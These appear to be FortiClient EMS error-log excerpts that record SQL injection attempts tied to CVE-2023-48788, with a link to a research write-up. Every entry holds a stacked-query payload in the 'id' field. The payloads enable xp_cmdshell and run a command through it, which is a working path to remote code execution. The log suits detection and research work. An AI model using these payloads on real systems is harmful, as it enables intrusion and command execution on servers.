[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:30][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

References

https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/